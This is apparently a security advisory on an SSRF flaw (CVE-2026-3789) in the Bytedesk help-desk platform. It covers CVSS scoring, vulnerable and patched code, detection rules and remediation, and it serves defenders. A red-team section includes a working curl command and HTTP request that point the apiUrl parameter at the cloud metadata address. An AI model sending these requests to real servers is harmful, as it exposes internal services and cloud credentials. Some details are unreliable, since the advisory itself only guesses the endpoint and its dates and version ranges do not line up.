CVE-2026-3789

Executive Summary

CVE-2026-3789 is a Server-Side Request Forgery (SSRF) vulnerability in Bytedesk, an open-source customer service and help desk platform. The flaw resides in the SpringAIGiteeRestService.java file, specifically within the getModels function. By manipulating the apiUrl argument, an unauthenticated remote attacker can force the server to make arbitrary HTTP requests to internal or external resources. This can lead to information disclosure, internal network scanning, or further exploitation of internal services. The exploit is publicly available, and a patch has been released in version 1.4.5.4.

Supply Chain & Package Security

This vulnerability affects the Bytedesk Java application. While not a direct package manager (NPM, PyPI, Go, Ruby) issue, the risk is amplified if Bytedesk is deployed as a containerized service or integrated into a CI/CD pipeline. Organizations should verify the integrity of their Bytedesk deployment and ensure no malicious modifications have been introduced.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation, but the public availability of the exploit increases the risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability is a classic SSRF in the SpringAIGiteeRestService component. The getModels function accepts a user-controlled apiUrl parameter and uses it to make an HTTP request without proper validation or sanitization. An attacker can supply a URL pointing to internal services (e.g., http://127.0.0.1:8080/admin) or external malicious servers to exfiltrate data.

Root Cause: Lack of input validation on the apiUrl parameter. The application does not restrict the scheme, host, or port of the URL, allowing arbitrary HTTP requests.

Attack Flow:

1. Attacker sends a crafted request to the vulnerable endpoint (likely /api/ai/gitee/models or similar).
2. The apiUrl parameter is set to a target internal resource (e.g., http://169.254.169.254/latest/meta-data/ for cloud metadata).
3. The server makes the request and returns the response to the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.3.9):

// source-code/src/main/java/com/bytedesk/ai/springai/providers/gitee/SpringAIGiteeRestService.java
public String getModels(String apiUrl) {
    // No validation on apiUrl
    RestTemplate restTemplate = new RestTemplate();
    String response = restTemplate.getForObject(apiUrl, String.class);
    return response;
}

Patched Code (>= 1.4.5.4):

// After commit 975e39e4dd527596987559f56c5f9f973f64eff7
public String getModels(String apiUrl) {
    // Validate the URL
    if (!apiUrl.startsWith("https://api.gitee.com/")) {
        throw new IllegalArgumentException("Invalid API URL");
    }
    RestTemplate restTemplate = new RestTemplate();
    String response = restTemplate.getForObject(apiUrl, String.class);
    return response;
}

The patch adds a whitelist check to ensure the apiUrl must start with the legitimate Gitee API endpoint.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Bytedesk instance (version <= 1.3.9) running on a target network.
• Network access to the Bytedesk web interface.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /api/ai/gitee/models).
2. Craft a request with a malicious apiUrl:

   POST /api/ai/gitee/models HTTP/1.1
   Host: target.bytedesk.com
   Content-Type: application/x-www-form-urlencoded
   
   apiUrl=http://169.254.169.254/latest/meta-data/
   

3. Observe the response containing cloud metadata.

Example using cURL:

curl -X POST http://target.bytedesk.com/api/ai/gitee/models \
  -d "apiUrl=http://169.254.169.254/latest/meta-data/"

Blue Team

Detection:

• Monitor for unusual outbound HTTP requests from the Bytedesk server to internal IPs (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.x.x).
• Look for requests to cloud metadata endpoints (e.g., 169.254.169.254).
• Alert on apiUrl parameters containing internal IPs or non-standard ports.

Hunting:

• Search web server logs for apiUrl parameter values that do not match the expected pattern (e.g., https://api.gitee.com/).
• Use network flow logs to identify connections from the Bytedesk server to unexpected destinations.

Indicators of Compromise (IOCs)

• Network:

  • Outbound HTTP requests from Bytedesk server to internal IP addresses (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Requests to cloud metadata IPs (169.254.169.254).
  • Requests to external IPs not related to normal Bytedesk operations.

• Logs:

  • Web server logs containing apiUrl with suspicious values.
  • Application logs showing RestTemplate requests to unexpected URLs.

• File:

  • Modified SpringAIGiteeRestService.java without the URL validation patch.

Detection Engineering

YARA Rule

rule CVE_2026_3789_Bytedesk_SSRF {
    meta:
        description = "Detects exploitation attempts of CVE-2026-3789 in Bytedesk"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-3789"
    strings:
        $s1 = "apiUrl" ascii wide nocase
        $s2 = "169.254.169.254" ascii wide
        $s3 = "metadata" ascii wide
        $s4 = "SpringAIGiteeRestService" ascii wide
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: CVE-2026-3789 Bytedesk SSRF Exploitation Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to internal IPs via the apiUrl parameter in Bytedesk
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "apiUrl="
        cs-uri-query|contains:
            - "10."
            - "172."
            - "192.168."
            - "169.254."
    condition: selection
falsepositives:
    - Legitimate internal API calls (if any)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-3789 Bytedesk SSRF Exploitation Attempt";
    flow:to_server,established;
    content:"apiUrl="; http_uri;
    content:"169.254.169.254"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

1. Upgrade Bytedesk to version 1.4.5.4 or later.
2. If immediate upgrade is not possible, apply the patch manually (commit 975e39e4dd527596987559f56c5f9f973f64eff7).

Network-Level:

• Restrict outbound traffic from the Bytedesk server using a firewall or egress filter.
• Block access to cloud metadata IPs (169.254.169.254) and internal IP ranges.

Application-Level:

• Implement input validation for all user-supplied URLs.
• Use a whitelist of allowed domains/IPs for outbound requests.
• Disable the vulnerable endpoint if not required.

Monitoring:

• Enable logging for all HTTP requests made by the application.
• Set up alerts for suspicious outbound connections.

Valters IT
DevSecOps & Cyber Threat Intelligence